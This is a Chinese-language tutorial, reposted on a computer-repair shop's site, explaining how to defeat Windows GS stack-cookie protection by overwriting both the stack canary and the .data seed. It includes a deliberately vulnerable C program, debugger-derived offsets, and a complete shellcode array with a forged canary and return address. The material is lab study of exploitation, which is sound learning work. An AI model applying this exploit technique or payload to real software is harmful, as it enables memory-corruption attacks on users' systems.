锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
同时替换栈中和.data中的Cookie突破GS

作者: 佚名  日期:2017-07-28 20:24:50   来源: 本站整理

 

最近刚刚接触漏洞调试逆向,希望能够将自己调试过程中的看法与大家分享,望大神们不要喷我。参考书籍就是有名的《0day》,作为想接触漏洞的新手非常适合。
言归正传
GS机制:
GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序
GS流程:
  • 程序启动时,读取.data节的第一个dword。
  • 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
  • 把加密后的种子再写入.data节的第一个dword。
  • 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
  • 函数主体正常执行。
  • 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。

意思就是,.data第一个dword异或ebp后,存放到ebp低地址端,函数返回前,这个数再xor ebp,和.data中相比较。

GS突破的思路:
1、利用未被保护的内存突破GS
2、覆盖虚函数突破GS(wnagzihxain有讲到
3、攻击SEH突破GS
4、同时替换栈中和.data中的cookie突破GS(同样讲到过

由于自己第一次发帖,刚好看到第四个突破技术,索性就记录下来以便交流


我们不看代码,试想一下,如果想要同时替换栈中和.data中的cookie,需要几步。需要什么条件。
攻击条件:
  • 首先这个条件就很苛刻,正常情况下,我们是无法访问到.data段中的,只有当一个指针偏移没有作判断,能够为我们所用,将它指向.data的时候,才能够覆盖修改.data的第一个dword。

代码中创造的条件是这样的,先申请一块堆区,再创建一个指针指向的地址是堆区+偏移(i),当i为我们恶意构造的负数的时候,就有可能指向.data段。
  • 其次,要有shellcode覆盖,代码中给了一个strcpy,我们喜闻乐见的一个函数。

代码如下(shellcode内容我们慢慢给出,这里先看程序):
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    //__asm int 3
    test(str,0xFFFF2FB8,shellcode);
}


攻击调试步骤:
1、在调试的时候,确认堆区的地址和我们要覆盖的.data首地址离多远,这样就能确认这个指针偏移 i 是多少;
2、确定shellcode的覆盖偏移,到底哪个偏移地址是canary的位置;
前两部可以利用函数返回时候的check_securitycookie函数查看系统是怎么检查参数的
3、确定shellcode中canary的值,索性把shellcode的第一个dword设置为canary(90909090),那么我们用多少覆盖呢,这需要在调试中xor ebp后确定;
4、确定shellcode组织结构。

下面和大家一起调试,确定shellcode的内容
调试环境:
XP sp3
vs 2008
release版本
optimization给disable掉(不然,调试代码看不懂,canary异或的也是esp而不是ebp)

第一步,确定偏移
其实不能完全按照步骤进行参数获取,因为后面有些参数可能在前面的调试中就已经获取了,按步骤说只是便于理解。
先把shellcode设置为四个字节90909090.指针偏移也设置为0:

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
;
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
__asm int 3
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0,shellcode); 
}


我们首先要看cookie是怎么校验的。原书中讲到在if语句处中断,我设置了int3之后,停下来发现cookie已经被放进.data了,所以我就下在了strcpy之前
 

这一步获取的参数:
.data地址:0x00403000
栈中需要覆盖canary的地址:0x0012FF60
栈中需要返回的地址0x0012FF68
堆分配首地址(这一步我忘记标出来了,他就是test函数test(str,0,shellcode)返回地址前、高地址处的第一个str的地址):0x00410048
计算可得:0x410048-0x403000=53320,由于这个偏移应该是负数,所以i=-53320=FFFF2FB8
这样第一二步骤的参数已经得到了

将i修改后,如下:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        __asm int 3
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0xFFFF2FB8,shellcode);
}


第二步,确定canary的值
如何确定?已经我们要将90909090写入.data,GS校验的时候,会将canary和ebp异或然后和90909090对比,所以,canary=90909090 xor 当时的ebp
int3位置不变,我们还定位到函数准备返回检查canary的时候
 
canary = 0x0012ff64 xor 0x90909090 = 0x90826ff4



第三步,确定shellcode组织结构
对了,shellcode在栈中的位置还没确定呢
还是刚才的断点,在strcpy之前停下来,找shellcode 复制的栈中位置,这也是为什么设置90909090,因为明显好找,还可以搜索
 
找到了shellcode地址=0x0012FE94
所以shellcode总大小=0x0012FE94-返回的地址0x0012FF68 +4=216字节
覆盖返回地址:12FF68-12FF6B
覆盖canary地址:12FF60-12FF63
最后12个字节是这样的\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
所以shellcode是这样安排的:
\x90\x90\x90\x90||\xFC\x68···\x57\xF8||\x90···\x90|| \xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
4字节                       168字节                     32字节(216-4-168-12=32字节)           12个字节

最终形成代码
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    //__asm int 3
    test(str,0xFFFF2FB8,shellcode);
}

 

成功溢出。


热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等